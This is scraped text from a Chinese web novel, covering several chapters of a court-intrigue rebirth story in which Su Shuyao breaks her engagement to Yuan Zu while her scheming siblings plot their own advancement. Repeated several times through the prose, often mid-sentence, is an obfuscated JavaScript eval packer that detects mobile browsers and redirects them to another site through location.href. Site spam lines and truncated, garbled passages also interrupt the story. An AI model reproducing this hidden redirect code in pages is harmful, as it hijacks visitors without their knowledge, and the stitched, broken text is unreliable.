据他所知，苏舒窈和元家大公子有婚约，元家大公子又和苏明珠不清不楚。 “我先说清楚，我们这生意虽然无本万利，却是掉脑袋的买卖，要是弄不死元家，死的可就是我们。” 他们的目标，是那种根基不深的、在京城没靠山的地方暴发户。 这类贪官贪得多，查封之后牵连不多，查抄起来很安全。 像吏部侍郎这种靠山过硬、牵连过深的，原则上不碰。 “不对，我轻易死不了，你是必死无疑。但在朝中树敌太多，我的日子也难过。” 金蟾在手中翻转，谢瑜眼神中的玩味消失，难得看他如此严肃。 “私人感情代入生意可是大忌，如果你执意不悔，我们还是尽早散伙得好。” “确实有一部分私仇在里面。”苏舒窈低头浅笑，抬手抚平裙裾上的褶皱：“如果我没猜错，都察院最近在调查晋王贪墨的案子吧？” 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 谢瑜立刻正色起来。 晋王的案子查了好几个月，虽然没什么进展，但这是高度机密。 其实晋王并非贪墨，堂堂亲王贪点银子也不算什么大事。 陛下怀疑晋王和北境有勾结。 上一世，晋王被查到私藏铁矿。 “调查贪墨是假，谋反是真。 “元家可是和晋王有着千丝万缕的关系。元家私藏的金砖，元家和晋王的私信往来，元家和北疆驻守大将的私信往来，不知道谢老板有没有兴趣抄一抄？ 当初元家那些书信，可是苏舒窈帮着销毁的，藏在哪里，她一清二楚。 上一世，晋王贪墨案可是查了整整半年才结案，当时引发了官场大地震。 这一世，从元家入手，说不定能更早给晋王定罪。 “到时候，谢老板不仅能立下大功，还能打造一个‘清吏’的口碑。 谢瑜唇角一扬，眼中闪着光：“行，就按你说的办，我先去安排一下，安排好到时候通知你。 “抄他元家一个底朝天！ 苏舒窈在千杯醉和谢老板说话，苏明芷只能在楼下等。 “不是去元家吗？苏舒窈那个**跑酒楼来干什么？！ “二小姐，奴婢去问问。 翠仪很快问了回来：“大小姐说元老夫人喜欢吃这里的茯苓糕。酒楼师傅刚到，茯苓糕要现蒸，估计要等一会儿。 苏明芷冷哼一声：“什么茯苓糕，不过是想磋磨我，考验我的耐心罢了。 “派两个人守着，我们去逛逛，我偏不如她的意！ 苏明芷下了马车，在周围铺子闲逛，逛着逛着，看到一个熟悉的身影——万映霞。 万映霞正和一个公子说话，说完话，娇羞地跑开来。 苏明芷凑近一看，那位公子正是辅国公府的小公子岳清晏。 苏明芷冷笑一声：“走，跟上去。 岳清晏在文玩铺子里买东西，忽然有个小姑娘上前，送他一把折扇，他笑着收下了。 在大夏，赠送折扇是“以雅示情的典范， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360167|183653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女子在公开场合送男子折扇，表示钦慕其才华，不会被非议。 岳清晏打开扇子，摇了摇， 一旁的书童道：“公子自从在长公主花宴上大放异彩，都收了好几把扇子了。 苏明芷走到岳清晏面前，张嘴就道：“刚刚送你折扇那位姑娘，名叫万映霞，岳公子可别被她外表蒙蔽，她就是个贪慕虚荣、一心想攀高枝的女子！ 你的朋友正在书荒，快去帮帮他吧 苏明芷说完之后，洋洋得意地等着被感谢。 岳清晏看她的样子就跟看傻子一样：“这位姑娘，你没事儿吧？” 书童不屑道：“人家姑娘送折扇是雅事，是钦慕我家公子才华。怎么到你嘴边就变成贪慕虚荣了，贪慕虚荣的其实是你吧。” “上来便大声说出人家姑娘的闺名，女子闺名，岂是可能到处宣扬的？” “姑娘的女德都学到狗肚子里去了！” 苏明芷被这么挤兑，当即又要破防。 翠仪赶紧将人拉着走了：“三小姐，趁他们不知道我们的底细，我们快走。闹大了，反而不体面。” 苏明芷被强行拉走，一边走一边低头骂，骂着骂着，转头碰上周慕云。 “看什么看，你也看我笑话是不是？” 周慕云赶紧抬手作揖：“小姐误会了，在下以为，是岳公子莽撞了，小姐明明是为他好，提醒他别受骗，他反而辱骂小姐。” 苏明芷心中阴霾瞬间消散，头顶忽然阳光明媚起来：“你虽然看起来不怎么样，却是个明事理的。” 她仿佛找到了知音，立刻和周慕云攀谈起来。 要不是丫鬟来提醒该去元府了，苏明芷还想继续和周慕云畅谈。 周慕云：“如果姑娘要找在下，去柳树胡同，从左到右第二间便是在下的家。” 上了马车，苏明芷想起周慕云对她的夸奖，差点笑出声来。 周公子人可真不错。 马车驶往元府。 到了元府，门房通报之后，婆子领着人往里走。 苏舒窈走了两步便停下脚步：“妈妈，这不是去元老夫人院子的路。” 领路的妈妈还没来得及开口，元祖走了出来。 他斜着眼，用眼白看着人：“苏舒窈，你现在给我母亲认错，我还能再给你一次机会。” 第149章 渣男的自信 元祖穿了件藏青直缀，腰间玉带上挂了枚翠绿的玉佩，身量笔挺，看起来温文尔雅。 五官乍一看算得上英俊，但隔近仔细瞧着，眼眶下青紫明显，不知道是因为熬夜苦读，还是其他什么原因，显得有几分憔悴。 带路的妈妈喊了声大少爷，便低着头离开了。 元祖背着手，神情倨傲。 他盯着苏舒窈看了一会儿，然后越过苏舒窈，径直走到抱礼盒的小丫鬟面前，抬手揭开了礼盒。 “这只老山参，至少五百年以上吧？”元祖见着礼盒里的物品，勾唇一笑，在礼盒里挑挑拣拣：“还有血燕、鹿茸。” “啧啧啧，带这么好的礼物上门，真的是来退婚的？” 苏明芷心中警铃大作：“好你个苏舒窈，我们天天在家吃糠咽菜你不管，花重金备这么好的礼在外面装大尾巴狼！” “你备这么好的礼，是想求元老夫人帮你保住婚约吧！” “苏舒窈，你真是太卑鄙了！” “说好了让明珠姐姐嫁过来的！” 苏舒窈看了苏明芷一眼，微微蹙了蹙眉。 这个蠢货，真想把她给毒哑了。 本来元祖还有些怀疑，听了苏明芷的抱怨，心中立马安定了。 他勾起唇角，拉扯出一个邪魅的微笑，“苏舒窈，你想清楚了，我只给你一个机会，过时不候。” 元家的仆妇看苏舒窈的眼神里都带着一股鄙夷。 “威远侯府苏大小姐又跑来找大少爷了。” “大姑娘天天往未婚男子府上跑，成何体统？” “没办法，谁让我们大少爷这么玉树临风招人喜欢呢。” “说是来退婚，实际上是打的什么主意，大家都知道。一个侯府庶女，能嫁给大少爷可是天大的福分，还拿乔？简直笑话！” 元祖听到议论，嘴边邪魅的笑容更加深刻了：“苏舒窈，机会只有一次，要懂得珍惜。” 苏舒窈深吸一口气：“元公子，不懂得珍惜的人，是你。” 她把礼盒重新盖上，转头就往老夫人院子里走。 一个眼神都没给元祖。 元祖皱了皱眉：“苏舒窈，别给脸不要脸！我再一次郑重告诉你，过了这个村，就没有这个店！” 苏舒窈的脚步更快。 她知道元老夫人的院子在哪里，不需要带路也找得到。 元祖看着她一往无前的脚步，心里有些不舒服。 他两步跟了上去：“听说你最近无法无天 你的朋友正在书荒，快去帮帮他吧 得很，不仅**妹妹，就连两个兄长，都会遭你白眼，你变得这般没有女德，根本不配成为元家宗妇，记住，是我不要你，你没有资格退婚！” 原本骄横的语气，不知何时掺杂了一丝气急败坏。 苏舒窈这才停下脚步，她转过身，缓缓行了一礼，大方得体，眼中毫无波澜。 “多谢元大公子不娶之恩。” 嗓音柔和，充满感激。 说完，继续往前走。 毫无留恋。 元祖愣在原地，脸色青一团、紫一团，像是打翻了调色盘。 苏明芷很是困惑，苏舒窈究竟是闹哪一出？ 她究竟是想嫁，还是不想嫁。 她想不明白，但她动作快，立刻紧跟了上去。 元祖看着苏舒窈的背影，牙关紧咬。 “果然跟母亲说的一样，给脸不要脸，冥顽不灵！” “我给了你机会的，既然你不要正妻之位，那就别怪我不客气了！” ~ 苏舒窈进了元老夫人的院子。 元老夫人今年六十多，是个精神矍铄的老太太。 元老夫人身体康健，上一世，元家被抄家，元老夫人带着子孙颠沛流离了两个月都是好好的。 “老夫人安好。”苏舒窈恭敬行礼。 “舒窈啊，好久没见你入府来看望我这个老婆子了。”元老夫人朝着她招手：“快来，让老婆子看看。” 立刻有小丫鬟端来凳子放在老夫人旁边。 苏舒窈刚坐下去，老夫人就握着她的手：“舒窈，是不是祖儿让你受委屈了？” “祖儿那孩子，都是被他母亲给惯的，他本质不坏，老婆子我看得出来，他是喜欢你的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360168|183653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “等你嫁过来，我约束着他母亲，或者等祖儿科举完，让他寻个外放的差使，你跟着他一起去外地，两个人过小日子，老婆子也好早日抱上重孙子。” “祖儿那孩子，品性是好的，就是耳根子软，只要他母亲不在身边，他什么都会听你的” 元祖十三岁之前，是跟着老夫人在京城长大的。 十三岁之后，元夫人骆氏跟着夫君调回京城，才将元祖接到身边亲自教养。 骆氏刚回京的时候，元祖和她不亲，反而更亲近老夫人，骆氏暗地里发了不少火。 为了霸占儿子，骆氏花了不少心思，甚至动了些下作的手段。 当时老夫人想着，本就是骆氏的亲儿子，为了家庭和睦，她便没有插手。 不能让孩 你的朋友正在书荒，快去帮帮他吧 子成为婆媳斗法的工具。 元祖的根基是好的，读书也好，应该不会被带偏，哪成想. 现在一想起元祖院子里那些莺莺燕燕，老夫人还是有些后悔，当初就算和骆氏撕破脸，也该把元祖留在身边。 “有老婆子在，元府没有人敢逼你！”元老夫人是真心疼爱她，连未来都帮她规划好了。 苏舒窈叹了口气。 她和元祖青梅竹马，不可能完全没有感情，她也能看出元祖对她的喜欢。 从什么时候开始变化的呢，好像是元祖开玩笑说，娶了她之后，便不纳妾了，只要她一个。 元夫人听到这话之后，当天晚上就送了几个俏丽的丫头到元祖房里，并告诉他，男人三妻四妾才是正常，只守着妻子一人会被人嘲笑的。 身边的女人越多，越能代表男人有魅力。 从那天之后，元祖的性子便开始变化，原本规矩守礼的世家公子，身上忽然就多了几分纨绔的性子，就连路边的母狗，都想招惹一回。 “老夫人，没有人逼我，是我不想嫁了。”苏舒窈回握住老夫人的手：“老夫人，舒窈是真心孝敬老夫人，退婚之后，不知道还有没有机会来探望老夫人，我给老夫人磕三个头吧。” 苏舒窈跪在地上，重重磕了三个头。 第150章 表妹 老夫人还想再劝，可是看到苏舒窈决绝的眼神，思虑再三，终究还是闭上了嘴。 “慧芳临走时，让我定要好好照看你，老婆子我，这是要有违慧芳的嘱托了！” 想起昔日闺中密友，老夫人红了眼眶。 “老夫人，祖母不会怪您的，这是孙女儿自己的选择，祖母她知道，老夫人待我很好。” 想到去世的祖母，苏舒窈也红了眼眶。 祖母在的时候，她还是个孩子，虽然万氏不喜，她有祖母疼爱，想吃糖的时候，可以向祖母撒娇。 祖母离世第二天，她就被迫长大了。 “舒窈，你是好孩子，是老婆子我没把元祖看好，让他长歪了，都是老婆子的错.” “老夫人别哭了，要是祖母看到我惹老夫人伤心，祖母也该生气了。” 老夫人抱着苏舒窈哭了一会儿，丫鬟婆子们都来劝。 好不容易劝得止住了眼泪，婆子打来水擦了脸，重新上了脂粉。 苏舒窈今儿是来退婚的，脸上却没有一丝悲怆。 老夫人好奇道：“舒窈，你可是有了心上人？” 苏舒窈点了点头：“嗯。” 老夫人叹了口气：“怪不得你如此决绝。哪家的公子这么有福气，能得到舒窈的喜欢。” 老夫人看着苏舒窈长大，自然知道她的好。 模样出挑、宽容大气、守正持重，除了身世欠缺了一点，挑不出一点毛病。 是当家主母的不二人选。 骆氏是大儿子亲自选的，她当初不同意，大儿子和她斗了半辈子的气，主动申请外放，二十多年了，才肯回京。 骆氏除了长得好看，简直一无是处，持家无方、心胸狭窄、好大喜功，还贪财。 这个家，她是不敢交到骆氏手上。 老夫人也希望苏舒窈嫁进元府，有苏舒窈在，她百年之后，也能向元家列祖列宗有个交代。 可惜了。 苏舒窈想起九殿下，眼中全是笑意，语气也温柔了下来：“他很好看，很聪明，骑射功夫一流，地位尊贵” 苏明芷听到这话，撇了撇嘴：“苏舒窈，你就吹吧，地位尊贵？地位尊贵的人能看上你？” 苏舒窈和老夫人的谈话很快传到元祖那里，元祖得知苏舒窈有了心上人，一脚踹翻了面前的书架。 “怪不得要退婚，原来是在外面有了姘头！” 骆氏劝道：“祖儿，你错了，她喜欢你喜欢得发疯。” 在骆氏心中， 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 她的儿子自然是千般好。苏舒窈以前爱得要死，怎么可能忽然就不爱了。 耍花招罢了。 看来，苏舒窈的段位，比她想象的深太多。 元祖胸口起伏：“她喜欢我喜欢地发疯，为什么要退婚？” 骆氏笑道：“不过是小姑娘的把戏罢了。” “祖儿，她如果不喜欢你，今日就不会亲自过来，她们威远侯府又不是没人了？她亲自跑这一趟，不就是为了刺激你，让你生气。” 元祖呐呐道：“让我生气，对她有什么好处？” 骆氏解释道：“母亲知道你不喜欢她，也烦她老是来缠你。一个人天天来缠你，忽然有一天，那个人不来了，不管你喜不喜欢，你都会心里落空。她就是想利用你落空的心理，让你误认为你还惦记着她，让你主动服软。” “你可千万别被她给骗了！” 元祖想了半天，仍然觉得有些烧脑，撇撇嘴：“女子的心思这么多弯绕？” 骆氏笑道：“祖儿，别看女子柔弱，小心思可多了。不像你们男子，直接坦荡，有什么说什么。” “女子有时候想要，嘴上偏要说不要，就惦记着让你们男子花心思去猜、去哄。” “你们男子天生就是干大事的，心思该花在学业、仕途上，哪有闲工夫去猜小女儿的心思？” 元祖听着骆氏的解释，唇角慢慢上扬。 原来是这样，他就说，苏舒窈前段时间还是好好，这才多久没见便性情大变，原来是在耍小花招。 骆氏继续：“她说她的心上人长得好看、聪明、身份尊贵、骑射功夫了得，不就是你吗？” “她一个侯府养女，能接触什么身份尊贵的男子？除了你，还有谁？” 元祖的嘴都快翘到天上去了。 “母亲，现在该怎么办？” 骆氏：“积极推进你和明珠的婚事，你就看她急不急就行了！” 元祖：“要是她不急呢？” “到时候想办法让她做个妾呗。做妾都是便宜她了！” 见儿子还是疑惑，骆氏道：“让骆心去会一会她吧。她不是讨厌骆心吗，看看她对骆心的态度，就知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360169|183653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她对你死没死心？” 骆心是骆氏娘家侄女，骆氏一直想要把骆心娶进府，但老夫人坚决反对，还定下和威远侯府的婚事。 苏舒窈不是要退婚吗，正好可以利用苏舒窈让骆心进门。 骆心成为贵妾，也矮不了苏明珠多少。 到时候老夫人去世，再把骆心扶 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 正，岂不妙哉。 ~ 苏舒窈和元老夫人说了半天话，准备回府。 “让喜鹊带你出去。” 喜鹊是老夫人的贴身丫头，由喜鹊带着，元府的人不敢为难。 刚走出老夫人院子，就见一绿衣女子娉婷而来。 女子正是骆氏的侄女骆心。 骆心和骆氏有几分相似，她长了一张标准的瓜子脸，下巴尖尖，鼻子尖尖，眼尾斜飞入鬓，媚气横生。 好似话本里的狐狸精，眼里藏着钩子，一不小心，便勾心夺魄。 “舒窈姐姐。”骆心手中捏了块绣帕，晃晃悠悠走到苏舒窈面前：“姐姐来了，怎么不派人通知妹妹，到妹妹院子里坐一坐再走不迟。” 上一世，苏舒窈在骆心手上吃过很多暗亏。 她和元祖闹矛盾，十有**都是骆心挑拨的。 苏舒窈淡然一笑：“骆心妹妹不也是客人，都是客人，怎么摆出一副主人的样子来了？不知道的，还以为侍郎府改姓骆了呢。” 这话一是暗讽了骆氏在元府只手遮天，二是讽刺了骆心，有家不回，天天住在元府，其心昭昭。 骆心指尖拧着帕子，柔声道：“差点忘了，今后舒窈姐姐才是元府真正的主人，不像我，只是一个客人，只能偶尔进府看看表哥。真羡慕舒窈姐姐，能一直陪在表哥身边。” 她的样子忽然变得委屈起来，明明是她故意来找茬，倒像是被欺负了。 苏舒窈往后一步，警惕地避开：“时间不早了，告辞。” “姐姐走那么快干什么啊？姐姐是讨厌我吗？”骆心两步追上来，手刚搭上苏舒窈的胳膊，忽然惊呼一声，摔到了地上。 “啊，好痛~~” 正在此时，元祖忽然出现，大骂道：“苏舒窈，你为什么要推骆心表妹？！” 骆心抽泣了两声，红着眼眶：“表哥，不怪舒窈，是我自己没站稳的。” 第151章 驯服 看到忽然出现的元祖苏舒窈还有什么不明白。 元祖扶起骆心脸上浮现出一抹心疼：“心儿你别说了我明明看见是她推的你！” 元祖看起来怒气冲冲仔细观察就能发现他的火气中带了一丝窃喜。 不知道在高兴什么。 元祖上前一步将骆心扶起来。 骆心站起来还没来得及站稳脚下一个趔趄又撞进了元祖怀中。 她羞红脸慌忙退开低着头怯生生道：“表哥对不起刚刚没站稳。” 声音柔得好似裹了糖霜。 说着又抬起头看向苏舒窈：“舒窈姐姐我崴了脚不是故意靠着表哥的姐姐别生气。” 眼尾微微垂落再次摆出一副委屈巴巴的样子。 苏舒窈背脊挺得笔直目光清澈如洗字字清晰：“关我何事？” 看着元祖和骆心她好似在看戏子唱戏。 眼中流露出一抹鄙夷：“别说你只是扑进了他的怀里你就算和他被翻红浪都与我无关。” “大庭广众之下拉拉扯扯难免显得不知廉耻不如找个房间关上门不管干什么都正大光明得多。” 说着便让喜鹊带路离开。 元祖看着苏舒窈生气的样子心里再次沸腾。 苏舒窈果然和母亲说的一样。 她要是真是有了心上人真的下定决心退婚怎么会说出这种气话？ 口是心非的女人小花招真的好多。 要不是母亲的解释他又会被她给骗了。 骆心哪里肯让苏舒窈轻易离开她的戏还没唱完呢。 裙裾摇摆间她身形不稳再次撞进了元祖怀里：“表哥舒窈姐姐是不是误会了什么？我和表哥清清白白表哥你快给姐姐解释啊~~” 眼眶一红竟是潸然泪下好似被欺负得很了身形再次摇晃起来只有紧紧靠着元祖才能站稳身子。 “表哥我不想让你因为我又和舒窈姐姐吵架。” “都怪我都是我的错你别责怪舒窈姐姐~” 元祖将人扶着温声安慰：“心儿你是这般好心 苏舒窈只是觉得好笑。 上一世她竟然会因为骆心的故意刁难生闷气。 不知道骆心遇到苏明珠谁的手段更胜一筹？ 两人斗起来肯定好有趣。 可惜她看不到 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 了。 苏明芷忽然问道：“苏舒窈你都被冤枉了你笑什么啊？还不快想办法解释！” 苏舒窈看她一眼：“你不是喜欢看我吃瘪吗我现在被刁难你不是应该开心吗？你怎么一副很想帮我上去扯头花的样子？” 苏明芷愣了愣。 苏舒窈被刁难她当然觉得很高兴但她也看不惯骆心看着骆心那个矫揉造作的样子她恨不得上去给她两巴掌。 真的好恶心。 “开心我当然开心我才不会帮你！” 苏明芷说着走到了前面。 苏舒窈毫无留恋大步往前走。 元祖想追上去可是骆心崴了脚走不了。 骆心拉着他的衣袖嘤咛一声：“哎呀姐姐走了姐姐是真的生气了。表哥这可怎么办啊？” 元祖一把将骆心抱起追了上去： “苏舒窈你给我站住！你今日如果不给骆心道歉休想走出元府！” 骆心依偎在元祖怀里柔柔地解释：“舒窈姐姐别生气 “你跟她解释那么多她就是个善妒恶毒的女人！”元祖骂道。 身后跟了一串人苏舒窈不得不停下脚步：“元公子我再说一遍我们婚约已除从此再无瓜葛你们干什么都与我无关。” 语气温和却态度坚定。 她越是这般沉静元祖越是恼怒：“我说的是这个吗你推了心儿我让你给心儿道歉！” 苏舒窈：“我没推她她自己摔的。” 骆心手指捏着元祖的衣襟小声道：“表哥真的不怪表姐是我自己没站稳的~” 苏舒窈看得想笑：“看吧她自己都承认了你不仅瞎还聋。” 元祖：“.” “苏舒窈你太过分了今儿我必须要教训你！” 元祖将骆心放到地上交给一旁的婆子扶着吩咐道：“来人！拿我的剑来！” “今儿我若不把你驯服了他日出门必定要遭人耻笑！” 他这话是把苏舒窈当成了自己院中姬妾被姬妾顶撞确实很丢脸。 只有他院中的姬妾他才能随意教训。 “元大公子我和你毫无干系你凭什么训我？”苏舒窈退后一步。 带路的喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第152章 预知未来 苏明芷回府之后立刻被苏明珠叫了过去。 四兄妹再次齐聚一堂。 “明芷退婚退得怎么样？苏舒窈没搞什么幺蛾子吧？”苏明珠问道。 “没有幺蛾子不对有幺蛾子元大公子的表妹骆心。”苏明芷提醒道：“明珠姐姐骆心不是个好东西 苏明珠不以为意：“骆心我知道一个温柔善良的女子。” “温柔善良？”苏明芷想起骆心说话的样子便觉鸡皮疙瘩掉满地：“你是不是对她有什么误会？” 上一世苏明珠和骆心没有利益冲突两人还有共同的敌人苏明珠理所当然觉得骆心善良。 “骆心你不用管让你盯着苏舒窈就是。我觉得她绝对不可能这么轻易地让出婚约！” 苏明沛、苏明添、苏明珠对这点极为赞同三人都有重生的经历知道上一世苏舒窈对元祖爱得死去活来。 上一世元家被抄家苏舒窈冒着巨大的风险帮着元家翻案不仅付出了金钱还差点把侯府牵连进去。 这一世元府现在还好好的她怎么肯轻易放弃？ 只有苏明芷面露疑惑：“苏舒窈看起来是真心退婚毫无留恋。” “你懂什么？”苏明珠觉得苏明芷愚蠢她才是洞察了一切的主宰：“她这是故意的你信我准没错。她说不定在暗地里憋什么坏招呢。” “只要我一日没有嫁过去她就有机会。说不定她现在正在憋什么坏招呢！” 苏明芷：“.明珠姐姐我觉得” “你别觉得了听我们的准没错。”苏明沛打断道：“恭喜明珠妹妹帮我们扳回一城！” 苏明添也觉得扬眉吐气：“恭喜明珠妹妹觅得佳偶。” “既然苏舒窈退了婚明珠和元家的婚事要有人来推进元家那边也要有人来对接苏舒窈和明珠都不便参与此事乔姨娘一个姨娘更不行。” 苏明添长舒一口气：“终于有机会把母亲接回来了！” 苏舒窈那个**挣了钱不给家里人用拿出去养外人不仅如此还越发嚣张苛待妹妹和兄长。 兄妹四人拿苏舒窈毫无办法只能把希望全部寄托在万氏身上。 “等母亲回来我要将她千刀万剐！” 苏明珠喜笑颜开：“我马上就去告诉父亲。” 苏明珠过去的时候威远侯正在炼丹他穿了一身道袍手上拿着拂尘正对着丹炉念咒。 念 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 咒被打断，威远侯很是不爽：“接万氏回来？苏明珠，你眼里只有母亲，没有我这个父亲是吧？ “万氏把我害成这个样子，你还想着她回来？ “苏明珠，你别这么自私，有空还是要多关心一下父亲！记住，你姓苏，不姓万！就算以后嫁出去，威远侯府才是你的娘家！ 苏明珠解释：“可是，元家那边，总要有人上门啊？父亲不是希望我嫁进元家吗，现在有了机会，父亲难道要放弃？乔姨娘毕竟是姨娘，要是让外人得知我们威远侯府让一个姨娘当家，脸面何存？ 提到侯府脸面，威远侯这才有所动容：“不准再提接万氏的话。你的婚事，我请族中长辈来安排。 苏明珠还要再说，威远侯不耐烦赶人，她只得愁眉紧锁退了出来。 “这可怎么办？父亲铁了心不让母亲回来。 “这个样子，重阳节也没办法接母亲回来了。 四兄妹重新陷入悲伤，再次**一堂，将苏舒窈从头到脚咒骂了一番。 她们除了骂苏舒窈两句，也不知道该怎么办了。 骂了苏舒窈，苏舒窈也听不到，兄妹四人倒是积了一肚皮火没处发泄。 又过了几天，冷如烟成为贵人的消息传来。 苏明珠找到苏明添：“冷如烟落水被侍卫救了，没有嫁给侍卫，反而成为了贵人。想是我之前给冷如烟说的话起了作用，二哥哥，我想去求冷如烟救母亲。你上辈子的人脉能不能用，帮我进宫递个话。 “可能不行。苏明添腿伤没好，也没有进入金吾卫，上一世的人脉一个都用不上。 这一切都是苏舒窈害的。 要是苏舒窈请来鬼医，他的腿伤痊愈，说不定现在都进入金吾卫当差了。 苏明珠再次失望：“那只有想想其他办法了，我去冷侍郎府问问，看看有没有办法联系冷如烟。 苏明珠还没去侍郎府，忽然有一天，宫里传旨，将她召了进去。 召她进宫的是良妃，见她的是冷如烟，如今的冷贵人。 冷如烟穿了一身烟霞色软缎宫装，脸上覆着淡淡的脂粉，胭脂也淡，比在长公主花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等她成为倾世宠妃，她定要容妃血债血偿！ 第153章 雀跃 苏明珠从宫中回来，马不停蹄去了苏明添院子里。 “太好了，母亲能接回来了！” “三日之后，如果太子妃诞下的是儿子，冷如烟答应帮我们把母亲接回来。” “她还答应帮我们找太医，二哥哥的腿伤也有救了！” “如果我能继续给她提供有用的消息，等她得宠，她还能帮二哥哥进入金吾卫！” 苏明添也跟着激动起来，努力从床上仰起头：“明珠妹妹，我果然没有看错你！” “二哥哥，我们真的要好好谋划一下，不能局限在侯府这一亩三分地里了，要充分利用我们重活一次的优势，向上攀爬！”苏明珠用手指敲击着桌面，嘴角高高扬起。 “经商失败，那是因为我们出身高贵，本就不是低贱的商贾，经商失败很正常。威远侯府世代勋贵，我们身为侯府子女，骨血里流淌的是祖辈流传的高贵血统，正该走仕途、弄权术。” 苏明珠眼底的得意交织着喜悦，活脱脱演绎出小人得志的模样： “上一世，大哥成为文官，二哥哥成为武官，侯府的子女，注定不平凡，这一世，虽然前路崎岖了一些，但何尝不能看作上天对我们的考验。” “明珠妹妹，你说得太对了！”苏明添虽然瘫痪在床，眼中已经燃起熊熊希望之光。 “这几天我静下心想一想，争取将上一世的信息整合，说不定能比上一世爬得更高，走得更远！” 两人志气满满，仿佛已经看到了功成名就的那一天。 “对了，上一世元家被抄家，究竟是怎么一回事？” 上一世，苏明珠回来的时候，元家已经**了，具体什么情况，她不是很清楚，只记得抄家的日期。 苏明添想了想：“我记得与晋王贪墨案有关，最后晋王死在狱中，元家才得以平凡。元家被抄家后，一直是苏舒窈在帮忙，明珠妹妹，这一世，要是苏舒窈不管元家了，元家翻不了案怎么办？你还要嫁？” 苏明珠抿了抿唇，“二哥哥的意思，是我比不上苏舒窈？我没有能力让元家翻案？” 苏明添忙道：“明珠你误会了，我不是这个意思。给元家翻案，很麻烦，耗时耗力不说，还费钱。再说了，元祖也不是个好的。” 上一世，苏舒窈为元家付出那么多，最后毒杀苏舒窈的时候，他还担心元祖会反对，没想到他竟然是赞同的。 苏明珠也知道，但现在，嫁给元祖是她目前最好的选择：“先暂时这样吧，要是二哥哥飞黄腾达，再帮我找一门好 你的朋友正在书荒，快去帮帮他吧 亲事。” “或者我想办法嫁给三皇子当侍妾。” 苏明珠仰起下巴：“把信息传递给冷如烟让冷如烟争宠不然将命运掌握在自己手中我亲自去争宠！” 苏明添眼色一亮：“好！这个主意好！” 上一世三皇子是最终的获胜者。 与其巴结讨好旁人不如想办法直捣黄龙。 “元家便暂时当做垫脚石吧。元家的婚事原本也是为了救出母亲找的借口。” 苏明珠道：“我抽空去元家 三日之后太子妃诞下一子太子有了长子。 皇帝大喜赏下了不少好东西据传皇帝有意在孩子百日那天将孩子封为皇太孙。 听说太子妃能顺利产子冷贵人有大功。 据太医诊脉太子妃还有十来日才会发动东宫只留了一个太医。 生产当天当值的太医请假了替班的太医有事耽搁迟迟未到岗。 太子妃散步的时候摔了一跤提前发动发动得急恰逢太子在外地办事整个东宫没有主事人手忙脚乱。 冷贵人做了一个梦梦到太子妃会提前产子冷贵人将此事当做笑话告诉陛下陛下大笑过后还是暗地里安排了一番。 就在东宫一片混乱之时冷贵人带着太医、助产婆子和药包从天而降。 太子妃顺利产下一子母子平安。 太子妃顺利产子冷贵人功不可没冷贵人也得了好多赏。 接下来一周陛下翻的都是冷贵人的牌子。 冷贵人接连获宠容妃的瑶光殿一片愁云惨淡。 皇帝赏赐下来的珠花原本皇后选完四妃再选容妃一般是第二个选。 内务府的人惯会见风使舵端着珠花从皇后宫殿出来直接去了冷贵人那里。 等冷贵人、良妃挑好之后才送到容妃那里。 容妃入宫十八年第一次遭受如此冷待。 接连一周瑶光殿每日都要扫出不少瓷器。 没多久冷侍郎找到威远侯：“重阳佳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 